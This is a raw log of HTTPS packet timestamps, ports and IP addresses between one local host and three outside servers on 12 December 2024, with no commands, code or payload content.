Dec 12, 2024 16:46:47.295281887 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.295351028 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.295418024 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.297894001 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.297919989 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.313611031 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.324255943 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.324893951 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.324923038 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.325787067 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.325886011 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.325998068 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.326057911 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.326071978 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.326092005 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.326154947 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.326400995 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.326467037 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.326533079 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.343245029 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.343270063 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.367336035 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.375240088 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.375264883 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.390805006 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.422108889 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.037981033 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.038681030 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.038750887 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.039861917 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.039891005 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.158298969 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.158356905 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.158396959 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.158411980 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.158442974 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.158488035 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.158493996 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.203403950 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.278008938 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.278024912 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.278156996 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.278249025 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.279336929 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.279359102 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.322839975 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.398019075 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.398124933 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.398192883 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.398216963 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.453325033 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.517848015 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.517919064 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.518064022 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.518088102 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.519156933 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.519186974 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.519206047 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.519218922 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.519299984 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.519840956 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.520091057 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.520114899 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.520134926 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.520145893 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.520605087 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.521164894 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.521213055 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.521250010 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.521259069 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.522273064 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.522299051 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.522341013 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.522353888 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.522391081 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.530719042 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.578943968 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.638375044 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.639928102 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.640054941 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.640081882 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.652523994 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.652597904 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.652673960 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.652692080 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.652731895 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.660952091 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.669419050 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.669533968 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.669553041 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.677920103 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.677997112 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.678014040 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.686501026 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.686566114 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.686589956 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.694830894 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.694941044 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.694956064 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.711713076 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.711854935 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.711858988 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.711869955 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.711913109 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.720105886 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.728607893 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.728651047 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.728676081 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.728693008 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.728730917 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.737062931 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.745479107 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.745548010 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.745569944 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.753915071 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.753983974 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.754002094 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.762562990 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.762623072 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.762638092 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.770837069 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.770900965 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.770916939 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.787698984 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.787740946 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.787806034 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.787831068 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.787877083 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.796175003 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.804620028 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.807132006 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.807151079 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.813155890 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.815143108 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.815156937 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.821571112 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.823131084 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.823144913 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.829907894 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.831135988 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.831150055 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.844847918 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.844904900 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.844927073 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.844942093 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.847124100 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.851697922 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.857937098 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.858025074 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.858083010 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.858098984 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.858144999 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.864028931 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.869839907 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.869894028 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.869908094 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.875416994 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.875488043 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.875502110 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.881309032 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.881393909 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.881406069 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.886348009 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.886409044 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.886421919 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.896699905 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.896862030 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.896930933 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.896945000 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.896990061 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.901742935 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.906677008 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.906727076 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.906739950 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.911710024 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.912632942 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.912653923 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.914648056 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.914710045 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.914726019 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.917634010 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.917681932 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.917695045 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.920494080 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.920552015 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.920566082 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.923387051 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:48.923455000 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.923605919 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:48.923626900 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:49.800570965 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:49.800614119 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:49.800724983 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:49.801008940 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:49.801023960 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:51.256191969 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:51.256259918 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:51.256339073 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:51.256699085 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:51.256714106 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:51.491126060 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:51.493850946 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:51.493877888 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:51.494242907 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:51.494890928 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:51.494959116 CET	443	49733	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:51.538445950 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:52.600455046 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.600512981 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:52.600595951 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.601200104 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.601213932 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:52.623961926 CET	49733	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:52.664484978 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:52.664669991 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.665142059 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.665153027 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:52.674215078 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:52.674228907 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:52.749197006 CET	49706	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:52.750782967 CET	49706	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:52.751169920 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:52.751213074 CET	443	49741	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:52.751319885 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:52.752707005 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:52.752722025 CET	443	49741	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:52.869061947 CET	443	49706	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:52.870553017 CET	443	49706	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:53.714235067 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:53.714313984 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:53.714318037 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:53.714376926 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:53.715445042 CET	49737	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:53.715465069 CET	443	49737	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.004388094 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.004472971 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.005314112 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.005328894 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.006962061 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.006969929 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007061958 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007076979 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007081985 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007086992 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007199049 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007220030 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007399082 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007441044 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007446051 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007451057 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007591009 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007612944 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007786036 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007818937 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007824898 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007844925 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007930994 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007946968 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.007952929 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.007956028 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.093934059 CET	443	49741	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:54.094007969 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:54.615340948 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.615396023 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:54.615792036 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.616118908 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:54.616133928 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:55.880779982 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:55.880851984 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:55.880853891 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:55.881015062 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:55.881791115 CET	49739	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:55.881807089 CET	443	49739	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.017437935 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.017518044 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.018203974 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.018217087 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.019906044 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.019912958 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.020047903 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.020068884 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.020150900 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.020157099 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.020179987 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.020196915 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.020308018 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.020323038 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.020334005 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.020345926 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.946039915 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.946095943 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:56.946162939 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.948774099 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:56.948786020 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.519748926 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.519814968 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.519830942 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.519844055 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.519874096 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.519897938 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.520812988 CET	49742	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.520826101 CET	443	49742	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.743254900 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.743294954 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:57.743403912 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.743675947 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:57.743685007 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.352401972 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.352467060 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.352971077 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.352977037 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355030060 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355035067 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355128050 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355156898 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355165958 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355175018 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355288982 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355307102 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355483055 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355506897 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355518103 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355525017 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355650902 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355678082 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.355684996 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.355698109 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:58.361121893 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:58.361134052 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:59.168375015 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:59.168486118 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:59.209928989 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:59.209952116 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:59.212088108 CET	49744	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:59.212094069 CET	443	49744	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:00.145839930 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:00.145922899 CET	443	49743	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:00.145924091 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.145972967 CET	49743	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:00.225356102 CET	443	49744	116.203.10.31	192.168.2.8
